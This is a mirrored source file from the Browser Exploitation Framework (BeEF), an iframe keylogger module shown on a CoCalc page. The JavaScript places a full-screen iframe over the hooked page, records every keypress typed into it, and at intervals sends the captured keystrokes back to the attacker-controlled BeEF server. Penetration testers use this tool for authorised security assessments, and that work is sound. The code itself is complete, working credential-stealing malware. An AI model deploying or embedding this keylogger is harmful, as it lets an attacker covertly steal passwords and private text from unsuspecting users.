Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/iframe_keylogger/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// logged keystrokes array
10
var stream = new Array();
11
12
// add the pressed key to the keystroke stream array
13
function keyPressHandler(evt) {
14
evt = evt || window.event;
15
if (evt) {
16
var keyCode = evt.charCode || evt.keyCode;
17
charLogged = String.fromCharCode(keyCode);
18
stream.push(charLogged);
19
}
20
}
21
22
// creates the overlay 100% width/height iFrame
23
overlay = beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
24
25
if(beef.browser.isIE()){
26
// listen for keypress events on the iFrame
27
function setKeypressHandler(windowOrFrame, keyHandler) {
28
var doc = windowOrFrame.document;
29
if (doc) {
30
if (doc.attachEvent) {
31
doc.attachEvent(
32
'onkeypress',
33
function () {
34
keyHandler(windowOrFrame.event);
35
}
36
);
37
}
38
else {
39
doc.onkeypress = keyHandler;
40
}
41
}
42
}
43
44
setKeypressHandler(window.frames.overlayiframe, keyPressHandler);
45
46
}else{
47
document.getElementById('overlayiframe').contentWindow.addEventListener('keypress', keyPressHandler, true);
48
}
49
50
// every N seconds send the keystrokes back to BeEF
51
setInterval(function queue() {
52
var keystrokes = "";
53
if (stream.length > 0) {
54
for (var i = 0; i < stream.length; i++) {
55
keystrokes += stream[i] + "";
56
}
57
beef.net.send("<%= @command_url %>", <%= @command_id %>, "keystrokes=" + keystrokes);
58
stream = new Array();
59
}
60
}, <%= @sendBackInterval %>)
61
});
62
63